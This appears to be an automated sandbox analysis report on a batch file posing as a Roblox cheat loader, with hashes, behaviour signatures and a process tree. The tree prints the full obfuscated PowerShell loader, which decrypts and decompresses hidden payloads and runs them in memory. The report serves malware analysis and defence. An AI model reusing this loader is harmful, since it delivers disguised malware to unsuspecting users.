Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    09/10/2024, 06:26

General

  • Target

    robloxcheatloader.bat

  • Size

    297KB

  • MD5

    615114ba6cad5ad7fe0e28339fbc5e51

  • SHA1

    931ac91d80b1d1149aa2603d9583e9282d0f0743

  • SHA256

    45b782f056d13bff3c3b4ac821455ee50b7fe7db2a273ade8a6bfa4d14ac3656

  • SHA512

    305c3df8806501a72d0db6d5485f0b85cbffb994cc1fb6c57f2587af569d6a364efbf7ae3cf9f59f8dc923ca24a83a3746f7e624c6205a9b623b8db7267095fb

  • SSDEEP

    6144:3HSmrJmgKx+Yv/dDTRFK74kVfSmVWYD4lzegex3aZ/SkR:350P6zqmB4lygeEYs

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/seLlS9KmgvXypmg65Dauo9O+3ZRKIi4rg+GTJdl8k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3usiDEPfh4Azb438Ucvi6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vDYKd=New-Object System.IO.MemoryStream(,$param_var); $uQrNw=New-Object System.IO.MemoryStream; $qgnqB=New-Object System.IO.Compression.GZipStream($vDYKd, [IO.Compression.CompressionMode]::Decompress); $qgnqB.CopyTo($uQrNw); $qgnqB.Dispose(); $vDYKd.Dispose(); $uQrNw.Dispose(); $uQrNw.ToArray();}function execute_function($param_var,$param2_var){ $CTuPF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZNetw=$CTuPF.EntryPoint; $ZNetw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat';$fMBrf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat').Split([Environment]::NewLine);foreach ($FSzzr in $fMBrf) { if ($FSzzr.StartsWith(':: ')) { $vDoXM=$FSzzr.Substring(3); break; }}$payloads_var=[string[]]$vDoXM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2352

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • memory/2352-4-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

          Filesize

          4KB

        • memory/2352-5-0x000000001B560000-0x000000001B842000-memory.dmp

          Filesize

          2.9MB

        • memory/2352-6-0x0000000001D80000-0x0000000001D88000-memory.dmp

          Filesize

          32KB

        • memory/2352-7-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-9-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-11-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

          Filesize

          9.6MB